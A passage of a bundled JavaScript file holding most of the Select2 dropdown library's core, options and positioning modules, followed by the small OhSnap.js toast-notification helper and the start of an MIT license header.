self.$loadingMore.outerHeight(false); if (currentOffset + 50 >= loadingMoreOffset) { self.loadMore(); } }); }; InfiniteScroll.prototype.loadMore = function () { this.loading = true; var params = $.extend({}, {page: 1}, this.lastParams); params.page++; this.trigger('query:append', params); }; InfiniteScroll.prototype.showLoadingMore = function (_, data) { return data.pagination && data.pagination.more; }; InfiniteScroll.prototype.createLoadingMore = function () { var $option = $( '
        • ' ); var message = this.options.get('translations').get('loadingMore'); $option.html(message(this.lastParams)); return $option; }; return InfiniteScroll; }); S2.define('select2/dropdown/attachBody',[ 'jquery', '../utils' ], function ($, Utils) { function AttachBody (decorated, $element, options) { this.$dropdownParent = options.get('dropdownParent') || $(document.body); decorated.call(this, $element, options); } AttachBody.prototype.bind = function (decorated, container, $container) { var self = this; var setupResultsEvents = false; decorated.call(this, container, $container); container.on('open', function () { self._showDropdown(); self._attachPositioningHandler(container); if (!setupResultsEvents) { setupResultsEvents = true; container.on('results:all', function () { self._positionDropdown(); self._resizeDropdown(); }); container.on('results:append', function () { self._positionDropdown(); self._resizeDropdown(); }); } }); container.on('close', function () { self._hideDropdown(); self._detachPositioningHandler(container); }); this.$dropdownContainer.on('mousedown', function (evt) { evt.stopPropagation(); }); }; AttachBody.prototype.destroy = function (decorated) { decorated.call(this); this.$dropdownContainer.remove(); }; AttachBody.prototype.position = function (decorated, $dropdown, $container) { // Clone all of the container classes $dropdown.attr('class', $container.attr('class')); $dropdown.removeClass('select2'); $dropdown.addClass('select2-container--open'); $dropdown.css({ position: 'absolute', top: -999999 }); this.$container = $container; }; AttachBody.prototype.render = function (decorated) { var $container = $(''); var $dropdown = decorated.call(this); $container.append($dropdown); this.$dropdownContainer = $container; return $container; }; AttachBody.prototype._hideDropdown = function (decorated) { this.$dropdownContainer.detach(); }; AttachBody.prototype._attachPositioningHandler = function (decorated, container) { var self = this; var scrollEvent = 'scroll.select2.' + container.id; var resizeEvent = 'resize.select2.' + container.id; var orientationEvent = 'orientationchange.select2.' + container.id; var $watchers = this.$container.parents().filter(Utils.hasScroll); $watchers.each(function () { $(this).data('select2-scroll-position', { x: $(this).scrollLeft(), y: $(this).scrollTop() }); }); $watchers.on(scrollEvent, function (ev) { var position = $(this).data('select2-scroll-position'); $(this).scrollTop(position.y); }); $(window).on(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent, function (e) { self._positionDropdown(); self._resizeDropdown(); }); }; AttachBody.prototype._detachPositioningHandler = function (decorated, container) { var scrollEvent = 'scroll.select2.' + container.id; var resizeEvent = 'resize.select2.' + container.id; var orientationEvent = 'orientationchange.select2.' + container.id; var $watchers = this.$container.parents().filter(Utils.hasScroll); $watchers.off(scrollEvent); $(window).off(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent); }; AttachBody.prototype._positionDropdown = function () { var $window = $(window); var isCurrentlyAbove = this.$dropdown.hasClass('select2-dropdown--above'); var isCurrentlyBelow = this.$dropdown.hasClass('select2-dropdown--below'); var newDirection = null; var offset = this.$container.offset(); offset.bottom = offset.top + this.$container.outerHeight(false); var container = { height: this.$container.outerHeight(false) }; container.top = offset.top; container.bottom = offset.top + container.height; var dropdown = { height: this.$dropdown.outerHeight(false) }; var viewport = { top: $window.scrollTop(), bottom: $window.scrollTop() + $window.height() }; var enoughRoomAbove = viewport.top < (offset.top - dropdown.height); var enoughRoomBelow = viewport.bottom > (offset.bottom + dropdown.height); var css = { left: offset.left, top: container.bottom }; // Determine what the parent element is to use for calciulating the offset var $offsetParent = this.$dropdownParent; // For statically positoned elements, we need to get the element // that is determining the offset if ($offsetParent.css('position') === 'static') { $offsetParent = $offsetParent.offsetParent(); } var parentOffset = $offsetParent.offset(); css.top -= parentOffset.top; css.left -= parentOffset.left; if (!isCurrentlyAbove && !isCurrentlyBelow) { newDirection = 'below'; } if (!enoughRoomBelow && enoughRoomAbove && !isCurrentlyAbove) { newDirection = 'above'; } else if (!enoughRoomAbove && enoughRoomBelow && isCurrentlyAbove) { newDirection = 'below'; } if (newDirection == 'above' || (isCurrentlyAbove && newDirection !== 'below')) { css.top = container.top - parentOffset.top - dropdown.height; } if (newDirection != null) { this.$dropdown .removeClass('select2-dropdown--below select2-dropdown--above') .addClass('select2-dropdown--' + newDirection); this.$container .removeClass('select2-container--below select2-container--above') .addClass('select2-container--' + newDirection); } this.$dropdownContainer.css(css); }; AttachBody.prototype._resizeDropdown = function () { var css = { width: this.$container.outerWidth(false) + 'px' }; if (this.options.get('dropdownAutoWidth')) { css.minWidth = css.width; css.position = 'relative'; css.width = 'auto'; } this.$dropdown.css(css); }; AttachBody.prototype._showDropdown = function (decorated) { this.$dropdownContainer.appendTo(this.$dropdownParent); this._positionDropdown(); this._resizeDropdown(); }; return AttachBody; }); S2.define('select2/dropdown/minimumResultsForSearch',[ ], function () { function countResults (data) { var count = 0; for (var d = 0; d < data.length; d++) { var item = data[d]; if (item.children) { count += countResults(item.children); } else { count++; } } return count; } function MinimumResultsForSearch (decorated, $element, options, dataAdapter) { this.minimumResultsForSearch = options.get('minimumResultsForSearch'); if (this.minimumResultsForSearch < 0) { this.minimumResultsForSearch = Infinity; } decorated.call(this, $element, options, dataAdapter); } MinimumResultsForSearch.prototype.showSearch = function (decorated, params) { if (countResults(params.data.results) < this.minimumResultsForSearch) { return false; } return decorated.call(this, params); }; return MinimumResultsForSearch; }); S2.define('select2/dropdown/selectOnClose',[ ], function () { function SelectOnClose () { } SelectOnClose.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('close', function (params) { self._handleSelectOnClose(params); }); }; SelectOnClose.prototype._handleSelectOnClose = function (_, params) { if (params && params.originalSelect2Event != null) { var event = params.originalSelect2Event; // Don't select an item if the close event was triggered from a select or // unselect event if (event._type === 'select' || event._type === 'unselect') { return; } } var $highlightedResults = this.getHighlightedResults(); // Only select highlighted results if ($highlightedResults.length < 1) { return; } var data = $highlightedResults.data('data'); // Don't re-select already selected resulte if ( (data.element != null && data.element.selected) || (data.element == null && data.selected) ) { return; } this.trigger('select', { data: data }); }; return SelectOnClose; }); S2.define('select2/dropdown/closeOnSelect',[ ], function () { function CloseOnSelect () { } CloseOnSelect.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('select', function (evt) { self._selectTriggered(evt); }); container.on('unselect', function (evt) { self._selectTriggered(evt); }); }; CloseOnSelect.prototype._selectTriggered = function (_, evt) { var originalEvent = evt.originalEvent; // Don't close if the control key is being held if (originalEvent && originalEvent.ctrlKey) { return; } this.trigger('close', { originalEvent: originalEvent, originalSelect2Event: evt }); }; return CloseOnSelect; }); S2.define('select2/i18n/en',[],function () { // English return { errorLoading: function () { return 'The results could not be loaded.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Please delete ' + overChars + ' character'; if (overChars != 1) { message += 's'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Please enter ' + remainingChars + ' or more characters'; return message; }, loadingMore: function () { return 'Loading more results…'; }, maximumSelected: function (args) { var message = 'You can only select ' + args.maximum + ' item'; if (args.maximum != 1) { message += 's'; } return message; }, noResults: function () { return 'No results found'; }, searching: function () { return 'Searching…'; } }; }); S2.define('select2/defaults',[ 'jquery', 'require', './results', './selection/single', './selection/multiple', './selection/placeholder', './selection/allowClear', './selection/search', './selection/eventRelay', './utils', './translation', './diacritics', './data/select', './data/array', './data/ajax', './data/tags', './data/tokenizer', './data/minimumInputLength', './data/maximumInputLength', './data/maximumSelectionLength', './dropdown', './dropdown/search', './dropdown/hidePlaceholder', './dropdown/infiniteScroll', './dropdown/attachBody', './dropdown/minimumResultsForSearch', './dropdown/selectOnClose', './dropdown/closeOnSelect', './i18n/en' ], function ($, require, ResultsList, SingleSelection, MultipleSelection, Placeholder, AllowClear, SelectionSearch, EventRelay, Utils, Translation, DIACRITICS, SelectData, ArrayData, AjaxData, Tags, Tokenizer, MinimumInputLength, MaximumInputLength, MaximumSelectionLength, Dropdown, DropdownSearch, HidePlaceholder, InfiniteScroll, AttachBody, MinimumResultsForSearch, SelectOnClose, CloseOnSelect, EnglishTranslation) { function Defaults () { this.reset(); } Defaults.prototype.apply = function (options) { options = $.extend(true, {}, this.defaults, options); if (options.dataAdapter == null) { if (options.ajax != null) { options.dataAdapter = AjaxData; } else if (options.data != null) { options.dataAdapter = ArrayData; } else { options.dataAdapter = SelectData; } if (options.minimumInputLength > 0) { options.dataAdapter = Utils.Decorate( options.dataAdapter, MinimumInputLength ); } if (options.maximumInputLength > 0) { options.dataAdapter = Utils.Decorate( options.dataAdapter, MaximumInputLength ); } if (options.maximumSelectionLength > 0) { options.dataAdapter = Utils.Decorate( options.dataAdapter, MaximumSelectionLength ); } if (options.tags) { options.dataAdapter = Utils.Decorate(options.dataAdapter, Tags); } if (options.tokenSeparators != null || options.tokenizer != null) { options.dataAdapter = Utils.Decorate( options.dataAdapter, Tokenizer ); } if (options.query != null) { var Query = require(options.amdBase + 'compat/query'); options.dataAdapter = Utils.Decorate( options.dataAdapter, Query ); } if (options.initSelection != null) { var InitSelection = require(options.amdBase + 'compat/initSelection'); options.dataAdapter = Utils.Decorate( options.dataAdapter, InitSelection ); } } if (options.resultsAdapter == null) { options.resultsAdapter = ResultsList; if (options.ajax != null) { options.resultsAdapter = Utils.Decorate( options.resultsAdapter, InfiniteScroll ); } if (options.placeholder != null) { options.resultsAdapter = Utils.Decorate( options.resultsAdapter, HidePlaceholder ); } if (options.selectOnClose) { options.resultsAdapter = Utils.Decorate( options.resultsAdapter, SelectOnClose ); } } if (options.dropdownAdapter == null) { if (options.multiple) { options.dropdownAdapter = Dropdown; } else { var SearchableDropdown = Utils.Decorate(Dropdown, DropdownSearch); options.dropdownAdapter = SearchableDropdown; } if (options.minimumResultsForSearch !== 0) { options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, MinimumResultsForSearch ); } if (options.closeOnSelect) { options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, CloseOnSelect ); } if ( options.dropdownCssClass != null || options.dropdownCss != null || options.adaptDropdownCssClass != null ) { var DropdownCSS = require(options.amdBase + 'compat/dropdownCss'); options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, DropdownCSS ); } options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, AttachBody ); } if (options.selectionAdapter == null) { if (options.multiple) { options.selectionAdapter = MultipleSelection; } else { options.selectionAdapter = SingleSelection; } // Add the placeholder mixin if a placeholder was specified if (options.placeholder != null) { options.selectionAdapter = Utils.Decorate( options.selectionAdapter, Placeholder ); } if (options.allowClear) { options.selectionAdapter = Utils.Decorate( options.selectionAdapter, AllowClear ); } if (options.multiple) { options.selectionAdapter = Utils.Decorate( options.selectionAdapter, SelectionSearch ); } if ( options.containerCssClass != null || options.containerCss != null || options.adaptContainerCssClass != null ) { var ContainerCSS = require(options.amdBase + 'compat/containerCss'); options.selectionAdapter = Utils.Decorate( options.selectionAdapter, ContainerCSS ); } options.selectionAdapter = Utils.Decorate( options.selectionAdapter, EventRelay ); } if (typeof options.language === 'string') { // Check if the language is specified with a region if (options.language.indexOf('-') > 0) { // Extract the region information if it is included var languageParts = options.language.split('-'); var baseLanguage = languageParts[0]; options.language = [options.language, baseLanguage]; } else { options.language = [options.language]; } } if ($.isArray(options.language)) { var languages = new Translation(); options.language.push('en'); var languageNames = options.language; for (var l = 0; l < languageNames.length; l++) { var name = languageNames[l]; var language = {}; try { // Try to load it with the original name language = Translation.loadPath(name); } catch (e) { try { // If we couldn't load it, check if it wasn't the full path name = this.defaults.amdLanguageBase + name; language = Translation.loadPath(name); } catch (ex) { // The translation could not be loaded at all. Sometimes this is // because of a configuration problem, other times this can be // because of how Select2 helps load all possible translation files. if (options.debug && window.console && console.warn) { console.warn( 'Select2: The language file for "' + name + '" could not be ' + 'automatically loaded. A fallback will be used instead.' ); } continue; } } languages.extend(language); } options.translations = languages; } else { var baseTranslation = Translation.loadPath( this.defaults.amdLanguageBase + 'en' ); var customTranslation = new Translation(options.language); customTranslation.extend(baseTranslation); options.translations = customTranslation; } return options; }; Defaults.prototype.reset = function () { function stripDiacritics (text) { // Used 'uni range + named function' from http://jsperf.com/diacritics/18 function match(a) { return DIACRITICS[a] || a; } return text.replace(/[^\u0000-\u007E]/g, match); } function matcher (params, data) { // Always return the object if there is nothing to compare if ($.trim(params.term) === '') { return data; } // Do a recursive check for options with children if (data.children && data.children.length > 0) { // Clone the data object if there are children // This is required as we modify the object to remove any non-matches var match = $.extend(true, {}, data); // Check each child of the option for (var c = data.children.length - 1; c >= 0; c--) { var child = data.children[c]; var matches = matcher(params, child); // If there wasn't a match, remove the object in the array if (matches == null) { match.children.splice(c, 1); } } // If any children matched, return the new object if (match.children.length > 0) { return match; } // If there were no matching children, check just the plain object return matcher(params, match); } var original = stripDiacritics(data.text).toUpperCase(); var term = stripDiacritics(params.term).toUpperCase(); // Check if the text contains the term if (original.indexOf(term) > -1) { return data; } // If it doesn't contain the term, don't return anything return null; } this.defaults = { amdBase: './', amdLanguageBase: './i18n/', closeOnSelect: true, debug: false, dropdownAutoWidth: false, escapeMarkup: Utils.escapeMarkup, language: EnglishTranslation, matcher: matcher, minimumInputLength: 0, maximumInputLength: 0, maximumSelectionLength: 0, minimumResultsForSearch: 0, selectOnClose: false, sorter: function (data) { return data; }, templateResult: function (result) { return result.text; }, templateSelection: function (selection) { return selection.text; }, theme: 'default', width: 'resolve' }; }; Defaults.prototype.set = function (key, value) { var camelKey = $.camelCase(key); var data = {}; data[camelKey] = value; var convertedData = Utils._convertData(data); $.extend(this.defaults, convertedData); }; var defaults = new Defaults(); return defaults; }); S2.define('select2/options',[ 'require', 'jquery', './defaults', './utils' ], function (require, $, Defaults, Utils) { function Options (options, $element) { this.options = options; if ($element != null) { this.fromElement($element); } this.options = Defaults.apply(this.options); if ($element && $element.is('input')) { var InputCompat = require(this.get('amdBase') + 'compat/inputData'); this.options.dataAdapter = Utils.Decorate( this.options.dataAdapter, InputCompat ); } } Options.prototype.fromElement = function ($e) { var excludedData = ['select2']; if (this.options.multiple == null) { this.options.multiple = $e.prop('multiple'); } if (this.options.disabled == null) { this.options.disabled = $e.prop('disabled'); } if (this.options.language == null) { if ($e.prop('lang')) { this.options.language = $e.prop('lang').toLowerCase(); } else if ($e.closest('[lang]').prop('lang')) { this.options.language = $e.closest('[lang]').prop('lang'); } } if (this.options.dir == null) { if ($e.prop('dir')) { this.options.dir = $e.prop('dir'); } else if ($e.closest('[dir]').prop('dir')) { this.options.dir = $e.closest('[dir]').prop('dir'); } else { this.options.dir = 'ltr'; } } $e.prop('disabled', this.options.disabled); $e.prop('multiple', this.options.multiple); if ($e.data('select2Tags')) { if (this.options.debug && window.console && console.warn) { console.warn( 'Select2: The `data-select2-tags` attribute has been changed to ' + 'use the `data-data` and `data-tags="true"` attributes and will be ' + 'removed in future versions of Select2.' ); } $e.data('data', $e.data('select2Tags')); $e.data('tags', true); } if ($e.data('ajaxUrl')) { if (this.options.debug && window.console && console.warn) { console.warn( 'Select2: The `data-ajax-url` attribute has been changed to ' + '`data-ajax--url` and support for the old attribute will be removed' + ' in future versions of Select2.' ); } $e.attr('ajax--url', $e.data('ajaxUrl')); $e.data('ajax--url', $e.data('ajaxUrl')); } var dataset = {}; // Prefer the element's `dataset` attribute if it exists // jQuery 1.x does not correctly handle data attributes with multiple dashes if ($.fn.jquery && $.fn.jquery.substr(0, 2) == '1.' && $e[0].dataset) { dataset = $.extend(true, {}, $e[0].dataset, $e.data()); } else { dataset = $e.data(); } var data = $.extend(true, {}, dataset); data = Utils._convertData(data); for (var key in data) { if ($.inArray(key, excludedData) > -1) { continue; } if ($.isPlainObject(this.options[key])) { $.extend(this.options[key], data[key]); } else { this.options[key] = data[key]; } } return this; }; Options.prototype.get = function (key) { return this.options[key]; }; Options.prototype.set = function (key, val) { this.options[key] = val; }; return Options; }); S2.define('select2/core',[ 'jquery', './options', './utils', './keys' ], function ($, Options, Utils, KEYS) { var Select2 = function ($element, options) { if ($element.data('select2') != null) { $element.data('select2').destroy(); } this.$element = $element; this.id = this._generateId($element); options = options || {}; this.options = new Options(options, $element); Select2.__super__.constructor.call(this); // Set up the tabindex var tabindex = $element.attr('tabindex') || 0; $element.data('old-tabindex', tabindex); $element.attr('tabindex', '-1'); // Set up containers and adapters var DataAdapter = this.options.get('dataAdapter'); this.dataAdapter = new DataAdapter($element, this.options); var $container = this.render(); this._placeContainer($container); var SelectionAdapter = this.options.get('selectionAdapter'); this.selection = new SelectionAdapter($element, this.options); this.$selection = this.selection.render(); this.selection.position(this.$selection, $container); var DropdownAdapter = this.options.get('dropdownAdapter'); this.dropdown = new DropdownAdapter($element, this.options); this.$dropdown = this.dropdown.render(); this.dropdown.position(this.$dropdown, $container); var ResultsAdapter = this.options.get('resultsAdapter'); this.results = new ResultsAdapter($element, this.options, this.dataAdapter); this.$results = this.results.render(); this.results.position(this.$results, this.$dropdown); // Bind events var self = this; // Bind the container to all of the adapters this._bindAdapters(); // Register any DOM event handlers this._registerDomEvents(); // Register any internal event handlers this._registerDataEvents(); this._registerSelectionEvents(); this._registerDropdownEvents(); this._registerResultsEvents(); this._registerEvents(); // Set the initial state this.dataAdapter.current(function (initialData) { self.trigger('selection:update', { data: initialData }); }); // Hide the original select $element.addClass('select2-hidden-accessible'); $element.attr('aria-hidden', 'true'); // Synchronize any monitored attributes this._syncAttributes(); $element.data('select2', this); }; Utils.Extend(Select2, Utils.Observable); Select2.prototype._generateId = function ($element) { var id = ''; if ($element.attr('id') != null) { id = $element.attr('id'); } else if ($element.attr('name') != null) { id = $element.attr('name') + '-' + Utils.generateChars(2); } else { id = Utils.generateChars(4); } id = id.replace(/(:|\.|\[|\]|,)/g, ''); id = 'select2-' + id; return id; }; Select2.prototype._placeContainer = function ($container) { $container.insertAfter(this.$element); var width = this._resolveWidth(this.$element, this.options.get('width')); if (width != null) { $container.css('width', width); } }; Select2.prototype._resolveWidth = function ($element, method) { var WIDTH = /^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i; if (method == 'resolve') { var styleWidth = this._resolveWidth($element, 'style'); if (styleWidth != null) { return styleWidth; } return this._resolveWidth($element, 'element'); } if (method == 'element') { var elementWidth = $element.outerWidth(false); if (elementWidth <= 0) { return 'auto'; } return elementWidth + 'px'; } if (method == 'style') { var style = $element.attr('style'); if (typeof(style) !== 'string') { return null; } var attrs = style.split(';'); for (var i = 0, l = attrs.length; i < l; i = i + 1) { var attr = attrs[i].replace(/\s/g, ''); var matches = attr.match(WIDTH); if (matches !== null && matches.length >= 1) { return matches[1]; } } return null; } return method; }; Select2.prototype._bindAdapters = function () { this.dataAdapter.bind(this, this.$container); this.selection.bind(this, this.$container); this.dropdown.bind(this, this.$container); this.results.bind(this, this.$container); }; Select2.prototype._registerDomEvents = function () { var self = this; this.$element.on('change.select2', function () { self.dataAdapter.current(function (data) { self.trigger('selection:update', { data: data }); }); }); this.$element.on('focus.select2', function (evt) { self.trigger('focus', evt); }); this._syncA = Utils.bind(this._syncAttributes, this); this._syncS = Utils.bind(this._syncSubtree, this); if (this.$element[0].attachEvent) { this.$element[0].attachEvent('onpropertychange', this._syncA); } var observer = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver ; if (observer != null) { this._observer = new observer(function (mutations) { $.each(mutations, self._syncA); $.each(mutations, self._syncS); }); this._observer.observe(this.$element[0], { attributes: true, childList: true, subtree: false }); } else if (this.$element[0].addEventListener) { this.$element[0].addEventListener( 'DOMAttrModified', self._syncA, false ); this.$element[0].addEventListener( 'DOMNodeInserted', self._syncS, false ); this.$element[0].addEventListener( 'DOMNodeRemoved', self._syncS, false ); } }; Select2.prototype._registerDataEvents = function () { var self = this; this.dataAdapter.on('*', function (name, params) { self.trigger(name, params); }); }; Select2.prototype._registerSelectionEvents = function () { var self = this; var nonRelayEvents = ['toggle', 'focus']; this.selection.on('toggle', function () { self.toggleDropdown(); }); this.selection.on('focus', function (params) { self.focus(params); }); this.selection.on('*', function (name, params) { if ($.inArray(name, nonRelayEvents) !== -1) { return; } self.trigger(name, params); }); }; Select2.prototype._registerDropdownEvents = function () { var self = this; this.dropdown.on('*', function (name, params) { self.trigger(name, params); }); }; Select2.prototype._registerResultsEvents = function () { var self = this; this.results.on('*', function (name, params) { self.trigger(name, params); }); }; Select2.prototype._registerEvents = function () { var self = this; this.on('open', function () { self.$container.addClass('select2-container--open'); }); this.on('close', function () { self.$container.removeClass('select2-container--open'); }); this.on('enable', function () { self.$container.removeClass('select2-container--disabled'); }); this.on('disable', function () { self.$container.addClass('select2-container--disabled'); }); this.on('blur', function () { self.$container.removeClass('select2-container--focus'); }); this.on('query', function (params) { if (!self.isOpen()) { self.trigger('open', {}); } this.dataAdapter.query(params, function (data) { self.trigger('results:all', { data: data, query: params }); }); }); this.on('query:append', function (params) { this.dataAdapter.query(params, function (data) { self.trigger('results:append', { data: data, query: params }); }); }); this.on('keypress', function (evt) { var key = evt.which; if (self.isOpen()) { if (key === KEYS.ESC || key === KEYS.TAB || (key === KEYS.UP && evt.altKey)) { self.close(); evt.preventDefault(); } else if (key === KEYS.ENTER) { self.trigger('results:select', {}); evt.preventDefault(); } else if ((key === KEYS.SPACE && evt.ctrlKey)) { self.trigger('results:toggle', {}); evt.preventDefault(); } else if (key === KEYS.UP) { self.trigger('results:previous', {}); evt.preventDefault(); } else if (key === KEYS.DOWN) { self.trigger('results:next', {}); evt.preventDefault(); } } else { if (key === KEYS.ENTER || key === KEYS.SPACE || (key === KEYS.DOWN && evt.altKey)) { self.open(); evt.preventDefault(); } } }); }; Select2.prototype._syncAttributes = function () { this.options.set('disabled', this.$element.prop('disabled')); if (this.options.get('disabled')) { if (this.isOpen()) { this.close(); } this.trigger('disable', {}); } else { this.trigger('enable', {}); } }; Select2.prototype._syncSubtree = function (evt, mutations) { var changed = false; var self = this; // Ignore any mutation events raised for elements that aren't options or // optgroups. This handles the case when the select element is destroyed if ( evt && evt.target && ( evt.target.nodeName !== 'OPTION' && evt.target.nodeName !== 'OPTGROUP' ) ) { return; } if (!mutations) { // If mutation events aren't supported, then we can only assume that the // change affected the selections changed = true; } else if (mutations.addedNodes && mutations.addedNodes.length > 0) { for (var n = 0; n < mutations.addedNodes.length; n++) { var node = mutations.addedNodes[n]; if (node.selected) { changed = true; } } } else if (mutations.removedNodes && mutations.removedNodes.length > 0) { changed = true; } // Only re-pull the data if we think there is a change if (changed) { this.dataAdapter.current(function (currentData) { self.trigger('selection:update', { data: currentData }); }); } }; /** * Override the trigger method to automatically trigger pre-events when * there are events that can be prevented. */ Select2.prototype.trigger = function (name, args) { var actualTrigger = Select2.__super__.trigger; var preTriggerMap = { 'open': 'opening', 'close': 'closing', 'select': 'selecting', 'unselect': 'unselecting' }; if (args === undefined) { args = {}; } if (name in preTriggerMap) { var preTriggerName = preTriggerMap[name]; var preTriggerArgs = { prevented: false, name: name, args: args }; actualTrigger.call(this, preTriggerName, preTriggerArgs); if (preTriggerArgs.prevented) { args.prevented = true; return; } } actualTrigger.call(this, name, args); }; Select2.prototype.toggleDropdown = function () { if (this.options.get('disabled')) { return; } if (this.isOpen()) { this.close(); } else { this.open(); } }; Select2.prototype.open = function () { if (this.isOpen()) { return; } this.trigger('query', {}); }; Select2.prototype.close = function () { if (!this.isOpen()) { return; } this.trigger('close', {}); }; Select2.prototype.isOpen = function () { return this.$container.hasClass('select2-container--open'); }; Select2.prototype.hasFocus = function () { return this.$container.hasClass('select2-container--focus'); }; Select2.prototype.focus = function (data) { // No need to re-trigger focus events if we are already focused if (this.hasFocus()) { return; } this.$container.addClass('select2-container--focus'); this.trigger('focus', {}); }; Select2.prototype.enable = function (args) { if (this.options.get('debug') && window.console && console.warn) { console.warn( 'Select2: The `select2("enable")` method has been deprecated and will' + ' be removed in later Select2 versions. Use $element.prop("disabled")' + ' instead.' ); } if (args == null || args.length === 0) { args = [true]; } var disabled = !args[0]; this.$element.prop('disabled', disabled); }; Select2.prototype.data = function () { if (this.options.get('debug') && arguments.length > 0 && window.console && console.warn) { console.warn( 'Select2: Data can no longer be set using `select2("data")`. You ' + 'should consider setting the value instead using `$element.val()`.' ); } var data = []; this.dataAdapter.current(function (currentData) { data = currentData; }); return data; }; Select2.prototype.val = function (args) { if (this.options.get('debug') && window.console && console.warn) { console.warn( 'Select2: The `select2("val")` method has been deprecated and will be' + ' removed in later Select2 versions. Use $element.val() instead.' ); } if (args == null || args.length === 0) { return this.$element.val(); } var newVal = args[0]; if ($.isArray(newVal)) { newVal = $.map(newVal, function (obj) { return obj.toString(); }); } this.$element.val(newVal).trigger('change'); }; Select2.prototype.destroy = function () { this.$container.remove(); if (this.$element[0].detachEvent) { this.$element[0].detachEvent('onpropertychange', this._syncA); } if (this._observer != null) { this._observer.disconnect(); this._observer = null; } else if (this.$element[0].removeEventListener) { this.$element[0] .removeEventListener('DOMAttrModified', this._syncA, false); this.$element[0] .removeEventListener('DOMNodeInserted', this._syncS, false); this.$element[0] .removeEventListener('DOMNodeRemoved', this._syncS, false); } this._syncA = null; this._syncS = null; this.$element.off('.select2'); this.$element.attr('tabindex', this.$element.data('old-tabindex')); this.$element.removeClass('select2-hidden-accessible'); this.$element.attr('aria-hidden', 'false'); this.$element.removeData('select2'); this.dataAdapter.destroy(); this.selection.destroy(); this.dropdown.destroy(); this.results.destroy(); this.dataAdapter = null; this.selection = null; this.dropdown = null; this.results = null; }; Select2.prototype.render = function () { var $container = $( '' + '' + '' + '' ); $container.attr('dir', this.options.get('dir')); this.$container = $container; this.$container.addClass('select2-container--' + this.options.get('theme')); $container.data('element', this.$element); return $container; }; return Select2; }); S2.define('jquery-mousewheel',[ 'jquery' ], function ($) { // Used to shim jQuery.mousewheel for non-full builds. return $; }); S2.define('jquery.select2',[ 'jquery', 'jquery-mousewheel', './select2/core', './select2/defaults' ], function ($, _, Select2, Defaults) { if ($.fn.select2 == null) { // All methods that should return the element var thisMethods = ['open', 'close', 'destroy']; $.fn.select2 = function (options) { options = options || {}; if (typeof options === 'object') { this.each(function () { var instanceOptions = $.extend(true, {}, options); var instance = new Select2($(this), instanceOptions); }); return this; } else if (typeof options === 'string') { var ret; var args = Array.prototype.slice.call(arguments, 1); this.each(function () { var instance = $(this).data('select2'); if (instance == null && window.console && console.error) { console.error( 'The select2(\'' + options + '\') method was called on an ' + 'element that is not using Select2.' ); } ret = instance[options].apply(instance, args); }); // Check if we should be returning `this` if ($.inArray(options, thisMethods) > -1) { return this; } return ret; } else { throw new Error('Invalid arguments for Select2: ' + options); } }; } if ($.fn.select2.defaults == null) { $.fn.select2.defaults = Defaults; } return Select2; }); // Return the AMD loader configuration so it can be used outside of this file return { define: S2.define, require: S2.require }; }()); // Autoload the jQuery bindings // We know that all of the modules exist above this, so we're safe var select2 = S2.require('jquery.select2'); // Hold the AMD module references on the jQuery function that was just loaded // This allows Select2 to use the internal loader outside of this file, such // as in the language files. jQuery.fn.select2.amd = S2; // Return the Select2 instance for anyone who is importing it. return select2; })); /** * == OhSnap!.js == * A simple jQuery/Zepto notification library designed to be used in mobile apps * * author: Justin Domingue * date: september 18, 2015 * version: 1.0.0 * copyright - nice copyright over here */ /* Shows a toast on the page * Params: * text: text to show * options: object that can override the following options * color: alert will have class 'alert-color'. Default null * icon: class of the icon to show before the alert. Default null * duration: duration of the notification in ms. Default 5000ms * container-id: id of the alert container. Default 'ohsnap' * fade-duration: duration of the fade in/out of the alerts. Default 'fast' */ function ohSnap(text, options) { var defaultOptions = { 'color': null, // color is CSS class `alert-color` 'icon': null, // class of the icon to show before the alert text 'duration': '5000', // duration of the notification in ms 'container-id': 'ohsnap', // id of the alert container 'fade-duration': 'fast', // duration of the fade in/out of the alerts. fast, slow or integer in ms } options = (typeof options == 'object') ? jQuery.extend(defaultOptions, options) : defaultOptions; var $container = jQuery('#' + options['container-id']), icon_markup = "", color_markup = ""; if (options.icon) { icon_markup = " "; } if (options.color) { color_markup = 'alert-' + options.color; } // Generate the HTML var html = jQuery('
          ' + icon_markup + text + '
          ').fadeIn(options['fade-duration']); // Append the label to the container $container.append(html); // Remove the notification on click html.on('click', function () { ohSnapX(jQuery(this)); }); // After 'duration' seconds, the animation fades out setTimeout(function () { ohSnapX(html); }, options.duration); } /* Removes a toast from the page * params: * Called without arguments, the function removes all alerts * element: a jQuery object to remove * options: * duration: duration of the alert fade out - 'fast', 'slow' or time in ms. Default 'fast' */ function ohSnapX(element, options) { defaultOptions = { 'duration': 'fast' } options = (typeof options == 'object') ? jQuery.extend(defaultOptions, options) : defaultOptions; if (typeof element !== "undefined") { element.fadeOut(options.duration, function () { jQuery(this).remove(); }); } else { jQuery('.alert').fadeOut(options.duration, function () { jQuery(this).remove(); }); } } /*! * (The MIT License) * * Copyright (c) 2012-2014 Marcin Warpechowski * Copyright (c) 2015 Handsoncode sp. z o.o. * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * 'Software'), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR 